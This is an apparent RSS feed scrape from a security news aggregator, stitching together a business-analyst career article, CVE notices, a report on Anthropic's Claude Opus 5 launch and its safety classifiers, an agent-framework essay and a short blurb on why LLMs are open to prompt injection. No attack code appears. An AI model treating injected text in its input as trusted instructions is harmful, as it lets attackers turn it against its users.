The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.

Business analyst skills

The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.

Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.

According to the IIBA, some of the most important skills and experience for a business analyst are:

  • Oral and written communication skills
  • Interpersonal, organizational, facilitation, and consultative skills
  • Analytical thinking and problem solving
  • Being detail-oriented and able to deliver a high level of accuracy
  • Knowledge of business structure
  • Stakeholder and cost-benefit analysis
  • Processes modeling
  • Understanding networks, databases, and other technologies

For a more in-depth look at what it takes to succeed as a business analyst, click here.

Business analyst salary

The average annual salary for an IT business analyst is $80,692, according to data from PayScale. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.

Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:

SkillsSalary Boost
ScrumMaster44%
Microsoft Azure30%
Supply Chain27%
Oracle eBusiness Suite25%
Master Data Management (SAP MDM)24%
SAP Sales and Distribution (SAP SD)24%
Product Support18%
Microsoft Dynamics GP18%
SAP Quality Management (SAP QM)18%
Workday Software15%

For tips on boosting your salary, click here.

Business analyst certifications

Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your rÊsumÊ and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:

  • IIBA Entry Certificate in Business Analysis (ECBA)
  • IIBA Certification of Competency in Business Analysis (CCBA)
  • IIBA Certified Business Analysis Professional (CBAP)
  • IIBA Agile Analysis Certification (AAC)
  • IQBBA Certified Foundation Level Business Analyst (CFLBA)
  • IREB Certified Professional for Requirements Engineering (CPRE)
  • PMI Professional in Business Analysis (PBA)
  • Certified Analytics Professional (CAP)

For more information about how to earn one of these certifications — and how much they cost — click here.

Business analytics tools and software

BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.

]]> <![CDATA[CVE-2026-30276 | DeftPDF Document Translator 54.0 file inclusion]]> https://tsecurity.de/de/3692887/sicherheitsluecken/cve-2026-30276-deftpdf-document-translator-540-file-inclusion/ https://tsecurity.de/de/3692887/sicherheitsluecken/cve-2026-30276-deftpdf-document-translator-540-file-inclusion/ Sat, 25 Jul 2026 04:54:25 +0200 🕵️ Sicherheitslücken tsecurity.de DeftPDF Document Translator 54.0. It has been declared as critical. Affected is an unknown function. Executing a manipulation can lead to file inclusion. This vulnerability is registered as CVE-2026-30276. The attack requires access to the local network. No exploit is available.]]> <![CDATA[CVE-2022-40303 | libxml2 up to 2.10.2 XML Document memory corruption (EUVD-2022-43600 / Nessus ID 211168)]]> https://tsecurity.de/de/3692656/sicherheitsluecken/cve-2022-40303-libxml2-up-to-2102-xml-document-memory-corruption-euvd-2022-43600-nessus-id-211168/ https://tsecurity.de/de/3692656/sicherheitsluecken/cve-2022-40303-libxml2-up-to-2102-xml-document-memory-corruption-euvd-2022-43600-nessus-id-211168/ Sat, 25 Jul 2026 00:10:56 +0200 🕵️ Sicherheitslücken tsecurity.de critical was found in libxml2 up to 2.10.2. This vulnerability affects unknown code of the component XML Document Handler. Executing a manipulation can lead to memory corruption. This vulnerability appears as CVE-2022-40303. The attack may be performed from remote. There is no available exploit. Upgrading the affected component is advised.]]> <![CDATA[Anthropic launches Claude Opus 5, a cheaper AI model for coding, agents and enterprise workflows]]> https://tsecurity.de/de/3692246/it-nachrichten/anthropic-launches-claude-opus-5-a-cheaper-ai-model-for-coding-agents-and-enterprise-workflows/ https://tsecurity.de/de/3692246/it-nachrichten/anthropic-launches-claude-opus-5-a-cheaper-ai-model-for-coding-agents-and-enterprise-workflows/ Fri, 24 Jul 2026 20:10:11 +0200 📰 IT Nachrichten tsecurity.de Anthropic released Claude Opus 5 on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude Fable 5 at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.

The model, available immediately on all of Anthropic's platforms, is priced at $5 per million input tokens and $25 per million output tokens, unchanged from its predecessor, Opus 4.8. It becomes the new default model on Claude Max, Anthropic's premium consumer tier, and the strongest model available on Claude Pro.

The positioning is deliberate. Anthropic is not claiming Opus 5 is its smartest model — that distinction still belongs to Fable 5, and rival systems retain an edge in certain domains. Instead, the company is making a subtler argument that may matter more to enterprise buyers: that the most economically important AI work happens in a middle band of difficulty, where near-frontier intelligence delivered efficiently and cheaply beats frontier intelligence delivered expensively.

"Opus 5 as your daily driver, the model you hand complex work to and review when it's done," an Anthropic spokesperson said in an interview with VentureBeat, describing how the company's lineup now stratifies. "Fable 5 for your most ambitious work, the days-long autonomous projects nothing could take on before... Sonnet 5 for work you run at scale, where speed and cost per call decide what ships. Haiku 4.5 for subagents and instant answers."

How Claude Opus 5 benchmark results stack up against Fable 5 and rival AI models

On paper, the results are striking. Anthropic says Opus 5 sets new state-of-the-art marks on coding and knowledge-work evaluations including Frontier-Bench and GDPval-AA. On Frontier-Bench v0.1, an agentic terminal coding benchmark, Opus 5 scores 43.3 percent — more than double Opus 4.8's 18.7 percent and well ahead of Fable 5's 33.7 percent — at a lower cost per task, according to the company. On ARC-AGI 3, an evaluation of novel problem-solving, Anthropic reports Opus 5 scored three times as high as the next best model. On OSWorld 2.0, a computer-use benchmark, the company says the model surpasses Fable 5's best result at just over a third of the cost.

The numbers come with honest caveats that are themselves notable in an industry prone to superlatives. Anthropic acknowledges Opus 5 remains behind Mythos 5, a competing model, on cybersecurity tasks and biology research, and an OpenAI-family model still leads on one agentic coding benchmark.

The more revealing caveat came from Anthropic itself, when asked where Opus 5 still falls short of Fable 5. The spokesperson's answer amounted to a candid admission about what benchmarks do and don't capture.

"The evals where Opus 5 wins are bounded tasks with a specific outcome, which is where it's strongest. What those evals don't measure is duration," the spokesperson told VentureBeat. "One way to put it: Opus 5 is the best tool for the jobs benchmarks can see, and Fable 5 is what you reach for when the job outruns the benchmark."

Fable 5, by contrast, "is for the longest, most autonomous jobs, where the model has to stay coherent across many connected steps over hours or days with dense source material," the spokesperson said, advising customers to "run both on a representative workload, one bounded task and one long-horizon job." That framing — bounded tasks versus long-horizon autonomy — may become the defining axis of model differentiation in 2026, as benchmarks saturate and the hardest remaining problems involve sustained, multi-day agentic work rather than discrete puzzles.

Why token efficiency is becoming the real battleground for enterprise AI spending

Threaded through the launch is a theme Anthropic clearly wants buyers to absorb: Opus 5 doesn't just score well, it scores well per dollar. The model ships with an adjustable "effort" setting that lets customers trade intelligence for speed and token savings, and Anthropic's charts emphasize performance at a given cost rather than peak performance alone.

Early customers echoed the point with unusual specificity. Harvey, the legal AI company, said Opus 5 achieved similar performance to Opus 4.8's maximum-reasoning mode "while generating 26% fewer tokens on average," according to Niko Grupen, its head of applied research. Richard Pham of Fundamental Research Lab said that on hard financial-modeling tasks, the model averaged nine percentage points higher accuracy "while using roughly one-third fewer turns and tool calls and 60% less time."

Wade Foster, chief executive of Zapier, said Opus 5 topped his company's AutomationBench leaderboard "without spending more tokens than prior Claude models," running a full churn-prevention workflow from start to finish. "Previous models didn't pass; Opus 5 hit 100%," he said. Scott Wu, chief executive of Cognition, the company behind the Devin coding agent, said that on FrontierCode 1.1, "Claude Opus 5 approaches Fable-level performance at half the cost," with particular strength in debugging and root-cause analysis.

The efficiency emphasis reflects commercial reality. Enterprise AI spending is no longer experimental, and inference costs — the price of actually running these models at scale — have become a board-level line item. 

Anthropic's business skews heavily toward API and enterprise usage; according to a February 2026 analysis by Contrary Research, Claude held roughly 40 percent of the enterprise large language model market by usage as of late 2025, and Claude Code alone had reached about $1 billion in annualized revenue. For a company whose customers pay by the token, a model that does more with fewer tokens is not a nice-to-have. It is the product.

Self-verifying AI agents and what they mean for the hidden costs of automation

Beyond the numbers, Anthropic is selling a behavioral story: that Opus 5 verifies its work and iterates until it succeeds. The company offered several examples from testing that read like small parables of machine stubbornness.

In one Frontier-Bench task, the model was asked to reconstruct a machine part as a 3D CAD model from a drawing it was intentionally given no way to view. Rather than fail, Anthropic says, Opus 5 wrote its own computer vision pipeline to extract the geometry from raw pixels — and did so repeatedly, while no competing model solved the task in five attempts. In another case, given a real bug in a popular open-source package manager, the model found the root cause and fixed an edge case the community's own patch had missed; a competing model patched only the symptom and declared victory. An engineer at a trading firm, the company says, used Opus 5 to build a market data feed for a new exchange in a single session and, finding no live feed to validate against, watched the model build its own test harness to check its parsing code.

Customers described similar behavior in the wild. Cristian Rivera, a staff software engineer at Stripe, said he gave the model "a chief-of-staff role over my dev environments" for a weekend: "it built its own monitor, drove each box, and pulled me in only for the judgment calls."

This is the capability enterprises actually care about, and it is worth dwelling on why. The gap between a model that produces plausible output and one that verifies its output is the gap between a demo and a deployable system. Most of the hidden cost of enterprise AI today is human review — engineers checking the machine's work. A model that reliably checks its own work compresses that cost, which is precisely why customers keep citing fewer turns, fewer passes, and less time rather than higher raw scores.

Inside Anthropic's safety strategy: capability gaps, classifiers, and model fallbacks

The launch also showcases Anthropic's increasingly intricate approach to safety — one that now involves deliberately not teaching its models certain skills. The company says its automated behavioral audit found Opus 5 to be its most aligned model to date, scoring 2.3 on overall misaligned behavior, lower than Opus 4.8, Sonnet 5, or Fable 5, with the lowest rates of deceptive behavior and the least susceptibility to being tricked into misuse.

On the capability side, Anthropic says it intentionally avoided training Opus 5 on cyber tasks, as it did with Opus 4.8. The model improved on them anyway — a side effect of general capability gains — and now nearly matches Mythos 5 at finding software vulnerabilities. But it remains far behind at exploiting them: on Anthropic's OSS-Fuzz evaluation, Opus 5 identified vulnerabilities at a 79.4 percent rate, close to Mythos 5's 80 percent, but succeeded at developing exploits in only 4 challenges versus Mythos 5's 13. That asymmetry — strong at defense-relevant discovery, weak at offense-relevant exploitation — appears to be by design, and the safeguards follow the same logic. Anthropic expects Opus 5's cyber classifiers to intervene about 85 percent less often than Fable 5's.

When a classifier does trigger, requests in Claude.ai, Claude Code, and Claude Cowork fall back to Opus 4.8 by default — raising an obvious question: if a request is too risky for one model, why is it acceptable for another? "The model it falls back to has lower capability levels making the risk of harmful use lower as well," the spokesperson said, adding that "there is a message that lets the user know when this occurs and is visible in the chat."

The logic is defensible, but it reveals how AI safety actually works in 2026: risk is not a property of the question alone, but of the question multiplied by the capability of the system answering it. On biology, the calculus runs the other way. Opus 5 is now Anthropic's most capable generally available model for scientific research — scoring 10.2 percentage points higher than Opus 4.8 on the company's internal chemistry benchmark — though the spokesperson acknowledged that "Mythos 5 remains the stronger model for long-horizon, open-ended work like autonomous drug design campaigns."

The business stakes behind the launch: a $380 billion valuation and massive compute bets

The launch lands at a moment of extraordinary commercial momentum — and extraordinary obligations — for Anthropic. Reuters reported in February that the company was valued at roughly $380 billion in its latest funding round, following a period in which, per Contrary Research's analysis, its annualized revenue climbed from about $1 billion at the end of 2024 to a projected $9 billion by the end of 2025, with internal targets reportedly reaching $20 to $26 billion for 2026. Those targets are underwritten by enormous infrastructure commitments, including a reported $30 billion Azure compute deal alongside arrangements with Google Cloud and Nvidia — spending that only pencils out if enterprises keep expanding usage.

That is the context in which Opus 5's pricing strategy makes sense. Holding the price at Opus 4.8 levels while roughly doubling performance on key agentic benchmarks is effectively a steep price cut per unit of capability, designed to widen the funnel of workloads that are economical to automate. Every task that was marginal at Opus 4.8's cost-per-success becomes viable at Opus 5's — and every viable task is recurring token revenue.

The regulatory backdrop has grown more complex as well. A U.S. judge gave final approval this week to Anthropic's $1.5 billion copyright settlement with book authors, Reuters reported, closing a chapter of litigation over the company's early training data. And in June, Reuters, citing Axios, reported that the U.S. government had moved to block foreign access to Anthropic's most advanced models — a reminder that frontier AI is now entangled with export policy in ways that shape which customers can buy what.

Also shipping Friday: a Fast mode running at roughly 2.5 times default speed at twice the base price, automatic fallback routing on the API, and mid-conversation tool changes that no longer invalidate the prompt cache — a small feature that agent developers may appreciate more than any benchmark. Consistent with prior Opus models, Opus 5 carries no data retention requirements for general access, a point the spokesperson flagged unprompted for customers with "a hard zero data retention requirement." Developers can access the model as claude-opus-5 on the Claude API starting today.

Two questions will determine whether the bet pays off: whether Opus 5's efficiency claims survive contact with production workloads at scale, and whether enterprises embrace a world where safety classifiers, not users, sometimes decide which model answers. But the deeper message of Friday's launch is that the AI industry's center of gravity has moved. For three years, the labs competed on what their best model could do on its best day. With Opus 5, Anthropic is competing on something less glamorous and far more lucrative: what a very good model can do every day, for half the price. In a market where the frontier keeps moving, Anthropic is wagering that the real fortune lies just behind it.

]]> <![CDATA[Apple’s $250 Million Siri Settlement Approved, iPhone Users Could Get Up to $95]]> https://tsecurity.de/de/3692182/ios-mac-os/apples-250-million-siri-settlement-approved-iphone-users-could-get-up-to-95/ https://tsecurity.de/de/3692182/ios-mac-os/apples-250-million-siri-settlement-approved-iphone-users-could-get-up-to-95/ Fri, 24 Jul 2026 19:20:12 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[Build and Run an Intelligent Document Processing (IDP) System in the Cloud]]> https://tsecurity.de/de/3691895/ai-nachrichten/build-and-run-an-intelligent-document-processing-idp-system-in-the-cloud/ https://tsecurity.de/de/3691895/ai-nachrichten/build-and-run-an-intelligent-document-processing-idp-system-in-the-cloud/ Fri, 24 Jul 2026 17:25:29 +0200 🔧 AI Nachrichten tsecurity.de Automating the classification and extraction of PII from emails using AWS

The post Build and Run an Intelligent Document Processing (IDP) System in the Cloud appeared first on Towards Data Science.

]]> <![CDATA[De Vlieger: The Fedora 45 sausage factory]]> https://tsecurity.de/de/3691877/linux-tipps/de-vlieger-the-fedora-45-sausage-factory/ https://tsecurity.de/de/3691877/linux-tipps/de-vlieger-the-fedora-45-sausage-factory/ Fri, 24 Jul 2026 17:15:45 +0200 🐧 Linux Tipps tsecurity.de Fedora contributor Simon de Vlieger has published a blog post with a walkthrough of how the project turns source code and packages into the final release that users install on their systems.

It follows the a package from a packager's git push to a composed release: ISOs, cloud images, container images, and OSTree deployments.

The walkthrough describes how the Fedora 'sausage' is created as of Fedora 45, things change all the time; I hope to have time to update this document every cycle or every few cycles of Fedora releases so there's both history and people can find up to date information.

]]> <![CDATA[AI's Biggest Hidden Security Flaw]]> https://tsecurity.de/de/3691785/it-security-video/ais-biggest-hidden-security-flaw/ https://tsecurity.de/de/3691785/it-security-video/ais-biggest-hidden-security-flaw/ Fri, 24 Jul 2026 16:22:44 +0200 🎥 IT Security Video tsecurity.de Author: Security Weekly - A CRA Resource - Bewertung: 2x - Views:12

Modern LLMs process prompts by predicting the next token from context. They don't inherently distinguish system instructions from user instructions, and many "reasoning" models use the same underlying architecture while producing reasoning-style text.

That makes prompt or command injection a persistent security challenge and highlights an important limitation: fluent explanations aren't necessarily evidence of genuine reasoning or understanding. Developers need additional safeguards instead of assuming the model can reliably separate trustworthy instructions from malicious ones.

Should future AI models include stronger architectural separation between trusted instructions and user input, or can software safeguards solve the problem?

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#LLM #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec

]]> <![CDATA[DEF CON Middle East Postponed]]> https://tsecurity.de/de/3691751/hacking/def-con-middle-east-postponed/ https://tsecurity.de/de/3691751/hacking/def-con-middle-east-postponed/ Fri, 24 Jul 2026 16:07:28 +0200 🕵️ Hacking tsecurity.de DEF CON Middle East postponed

The safety of our community is our highest priority.

For this reason, we have decided to postpone DEF CON Middle East. The evolving security situation in the region makes it impossible to concentrate on delivering the experience attendees deserve.

We understand that this news is disappointing, but we believe it's the most responsible choice right now. We look forward to bringing the full DEF CON experience to friends new and old in Bahrain, and we will share new dates and information as soon as they are confirmed.

In the meantime, we'd like to offer our sincere thanks to the community, sponsors, and supporters for their understanding and continued trust. We hope and expect to welcome you to DEF CON Middle East soon, under better circumstances for everyone.

-The DEF CON Middle East Team

]]> <![CDATA[Loop Engineering for RAG Generation: An LLM Cascade from a Cheap Local Model Up to a Hosted Flagship]]> https://tsecurity.de/de/3691696/ai-nachrichten/loop-engineering-for-rag-generation-an-llm-cascade-from-a-cheap-local-model-up-to-a-hosted-flagship/ https://tsecurity.de/de/3691696/ai-nachrichten/loop-engineering-for-rag-generation-an-llm-cascade-from-a-cheap-local-model-up-to-a-hosted-flagship/ Fri, 24 Jul 2026 15:34:53 +0200 🔧 AI Nachrichten tsecurity.de Enterprise Document Intelligence [Vol.1 #8quater] - Two angles on the cascade, cost and a validation loop, backed by a real sweep of twenty local models against a hosted flagship

The post Loop Engineering for RAG Generation: An LLM Cascade from a Cheap Local Model Up to a Hosted Flagship appeared first on Towards Data Science.

]]> <![CDATA[Language Model Hallucination Evaluation with GraphEval]]> https://tsecurity.de/de/3691615/ai-nachrichten/language-model-hallucination-evaluation-with-grapheval/ https://tsecurity.de/de/3691615/ai-nachrichten/language-model-hallucination-evaluation-with-grapheval/ Fri, 24 Jul 2026 15:05:11 +0200 🔧 AI Nachrichten tsecurity.de <![CDATA[Seeing AI Agents Is Not Enough. Security Teams Must Enforce What They Can Do]]> https://tsecurity.de/de/3691425/it-security-nachrichten/seeing-ai-agents-is-not-enough-security-teams-must-enforce-what-they-can-do/ https://tsecurity.de/de/3691425/it-security-nachrichten/seeing-ai-agents-is-not-enough-security-teams-must-enforce-what-they-can-do/ Fri, 24 Jul 2026 13:41:59 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[Why AI Needs a “Genie Coefficient”]]> https://tsecurity.de/de/3691355/it-security-nachrichten/why-ai-needs-a-genie-coefficient/ https://tsecurity.de/de/3691355/it-security-nachrichten/why-ai-needs-a-genie-coefficient/ Fri, 24 Jul 2026 13:12:45 +0200 📰 IT Security Nachrichten tsecurity.de This essay was written with Barath Raghavan, and originally appeared in The Guardian.

Major benchmarks measure what AI can do. None measure whether it does what you mean: the distance between what you ask an AI to do and the unspoken assumptions about how you want the AI to do it. We propose a new metric: the Genie coefficient.

There’s often a gap between one person’s request and another’s understanding. Most of the time, we bridge it using general knowledge. For example, if you ask a friend to get you coffee, they’ll pour a cup from the pot or buy one from a coffee shop. They won’t bring you a bag of raw beans or snatch a cup from a stranger and hand it to you. You never specified any of this. You never had to...

]]> <![CDATA[What is a business analyst? A key role for business-IT efficiency]]> https://tsecurity.de/de/3691228/it-security-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/ https://tsecurity.de/de/3691228/it-security-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/ Fri, 24 Jul 2026 12:09:04 +0200 📰 IT Security Nachrichten tsecurity.de

What is a business analyst?

Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.

BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.

The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that business analysis is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.

Impact of AI on business analyst role

As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.

AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.

Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.

Business analyst job description

BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.

According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.

Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  

The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.

Business analyst skills

The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.

Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.

According to the IIBA, some of the most important skills and experience for a business analyst are:

  • Oral and written communication skills
  • Interpersonal, organizational, facilitation, and consultative skills
  • Analytical thinking and problem solving
  • Being detail-oriented and able to deliver a high level of accuracy
  • Knowledge of business structure
  • Stakeholder and cost-benefit analysis
  • Processes modeling
  • Understanding networks, databases, and other technologies

For a more in-depth look at what it takes to succeed as a business analyst, click here.

Business analyst salary

The average annual salary for an IT business analyst is $80,692, according to data from PayScale. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.

Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:

SkillsSalary Boost
ScrumMaster44%
Microsoft Azure30%
Supply Chain27%
Oracle eBusiness Suite25%
Master Data Management (SAP MDM)24%
SAP Sales and Distribution (SAP SD)24%
Product Support18%
Microsoft Dynamics GP18%
SAP Quality Management (SAP QM)18%
Workday Software15%

For tips on boosting your salary, click here.

Business analyst certifications

Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your rÊsumÊ and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:

  • IIBA Entry Certificate in Business Analysis (ECBA)
  • IIBA Certification of Competency in Business Analysis (CCBA)
  • IIBA Certified Business Analysis Professional (CBAP)
  • IIBA Agile Analysis Certification (AAC)
  • IQBBA Certified Foundation Level Business Analyst (CFLBA)
  • IREB Certified Professional for Requirements Engineering (CPRE)
  • PMI Professional in Business Analysis (PBA)
  • Certified Analytics Professional (CAP)

For more information about how to earn one of these certifications — and how much they cost — click here.

Business analytics tools and software

BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.

]]> <![CDATA[The Microsoft agent framework wars are over. The real architecture decision starts now]]> https://tsecurity.de/de/3691079/ai-nachrichten/the-microsoft-agent-framework-wars-are-over-the-real-architecture-decision-starts-now/ https://tsecurity.de/de/3691079/ai-nachrichten/the-microsoft-agent-framework-wars-are-over-the-real-architecture-decision-starts-now/ Fri, 24 Jul 2026 11:04:58 +0200 🔧 AI Nachrichten tsecurity.de

Over the past year, I had the same conversation with almost every team starting an AI initiative. Should we build on Semantic Kernel, AutoGen or Foundry?

At first it felt like the most important architectural decision we’d make. Each framework had its own philosophy, each promised to be the foundation for enterprise AI, and picking the wrong one felt like an expensive mistake. I spent a lot of time helping teams weigh the trade-offs.

Looking back, I think we were asking the wrong question. I certainly was.

I watched teams spend months debating SDKs while the decisions that actually decided whether their applications survived production went unexamined. Some built elaborate orchestration layers for workflows that a few deterministic functions would have handled. Others avoided agent frameworks entirely and later found they’d designed themselves into a corner.

Then Microsoft settled it for us. It introduced the unified Agent Framework, quietly moved Semantic Kernel and AutoGen into maintenance mode, and the debate I’d spent months refereeing was suddenly over. Turns out the answer to “which of the three” was “none of the three, here’s a fourth.” The framework hit version 1.0 and general availability in April 2026, stable across .NET and Python.

What surprised me wasn’t the decision. It was how fast a debate that had eaten so much of our attention stopped mattering. Microsoft changed the menu.

It didn’t change the meal.

The framework was never the hard part

Framework selection dominated almost every early conversation I had about enterprise agents. Which SDK do we standardize on? Which orchestration model gives us the most flexibility? Which one is Microsoft actually betting on?

Fair questions. But after a year of watching these projects play out, I’ve slowly come around to a different view. Those weren’t the questions that decided anything.

The first question I ask now is much smaller. Does this thing actually need an agent?

It sounds obvious, and I still get it wrong sometimes. But it’s the mistake I see most. On one project, a team spent weeks designing a multi-agent workflow for a process that ran the same four steps every time: read a document, validate it, call an API, send a notification. The diagrams looked great. The system in production didn’t. A few well-tested functions would have been easier to build, easier to maintain and a lot easier to trust.

Part of this is just that “agent” has become the word everyone reaches for. Sometimes it’s the right call. Sometimes it’s a workflow we already knew how to build, wearing a newer label. An agent earns its complexity when it genuinely has to decide things you can’t predetermine, choosing between tools, adapting to what it finds, working out its own next step. If you already know every step, you have a workflow, and a workflow is usually the better engineering choice. The consolidation didn’t change that. It just made it easier to see.

What building production agents actually taught me

Once I stopped fixating on frameworks, the same three problems kept showing up. None of them had anything to do with the SDK.

Context beats model choice

Early on I spent a lot of time comparing models, the way you’d agonize over a restaurant menu and then order what you always order. Now I spend most of it thinking about context, which is far less fun and far more useful.

I’ve watched good models fail because they were handed too much, not too little. One team I worked with gave the model access to nearly every internal document they had on the theory that more information meant better answers. It went the other way. Responses got slower, less consistent and sometimes skipped right past the thing that actually mattered. When we cut the context down to only what the task needed, the quality jumped almost immediately. I didn’t predict that. It taught me to be suspicious of “just give it everything.”

The best agent systems I’ve worked on weren’t the ones with the biggest context windows. They were the ones careful about what reached the model, and when. That’s not something the framework hands you.

Failure is where the real work is

Most agent demos look great because they’re built around the happy path. Production doesn’t extend that courtesy.

I remember a project where everything held up in testing. Then a downstream API timed out after the agent had already completed several earlier steps. We couldn’t just restart, because part of the business process had already gone through. We ended up spending far more time on recovery logic than we ever spent on prompts. That project changed how I think about this work. The hard part was never getting the model to make a decision. It was making sure the system didn’t fall apart when reality refused to follow the script.

Tool calls fail partway through. APIs return inconsistent data. Models call the same tool over and over because the last answer wasn’t what they wanted. That’s not the exception; that’s a normal Tuesday. Whether you retry, roll back, pause for a human or push on with partial results is a judgment call, and no framework is going to make it for you.

Identity is the real security boundary

This one surprised me most. The moment an agent stops being a chatbot and starts touching real business systems, identity matters more than orchestration.

Every project gets to the same question eventually. Who is this agent actually acting as? The developer’s credentials? A service account? The user who asked? Get it wrong and you’ve built something autonomous running with more access than any single person should have, which is exactly the kind of thing that looks fine until an audit. The Agent Framework, like most modern tooling, makes it easier to wire agents to tools through standards like the Model Context Protocol. That helps. But where human approval belongs, what needs extra authorization, how much rope to give the thing, those are still yours to decide.

The surprises weren’t technical

Here’s what I didn’t see coming. The hardest part of last year wasn’t technical at all. It was organizational. The moment a team heard “agent,” expectations shifted under everyone’s feet. Business stakeholders started expecting full autonomy. Developers assumed the thing could reason its way through anything. People started designing for flexibility before we’d even agreed on what problem we were solving. The word did damage before any code did. I found myself spending as much time resetting expectations as I did discussing architecture.

Build for change, not for today’s winner

I don’t think the teams that struggled last year picked the wrong framework. Semantic Kernel was reasonable. AutoGen was reasonable. Foundry made sense for plenty of cases. I’d have signed off on any of them.

The ones that got hurt put all their eggs in one framework, treating it as the foundation of the whole system instead of as one more dependency. Microsoft provided a migration path. But teams that had tightly coupled their applications to framework-specific abstractions discovered that migrating and rewriting are not the same thing. That wasn’t Microsoft’s doing. It was their own architecture’s. The teams that moved easily had kept their business logic, prompts and orchestration loose enough to evolve independently of any one SDK. For them, the change was a manageable project, not a teardown.

For what it’s worth, nobody I work with is treating this as an emergency. Most are moving the smaller workloads first, watching how they behave and leaving the production-critical systems alone until they actually understand the new abstractions. That’s the right instinct. And I doubt this is the last consolidation we’ll see, the ecosystem is still young, frameworks will keep absorbing each other and over time the differences between them will be operational more than architectural.

I don’t regret the framework debates, honestly. They were reasonable at the time. What changed wasn’t Microsoft’s roadmap.

It was mine. Watching these systems run in production taught me that the framework is the easiest piece to swap out. Recovery logic, context management, security boundaries, the business workflow itself, those stay with you long after today’s SDK gets replaced by tomorrow’s.

So, Microsoft made one decision easier by turning three frameworks into one. Good. Five years from now we’ll be on different tools, and we’ll still be asking the same handful of questions.

Does this actually need an agent? Does it have the right context? Can it recover when something breaks, because something will? Is it acting as the right person?

Those questions outlast every rewrite. That’s where I’ve learned to put my effort.

Frameworks come and go. Good architecture has to survive all of them.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[Sponsor mismatch is the silent killer of enterprise transformation]]> https://tsecurity.de/de/3691067/it-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/ https://tsecurity.de/de/3691067/it-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/ Fri, 24 Jul 2026 11:03:44 +0200 📰 IT Nachrichten tsecurity.de

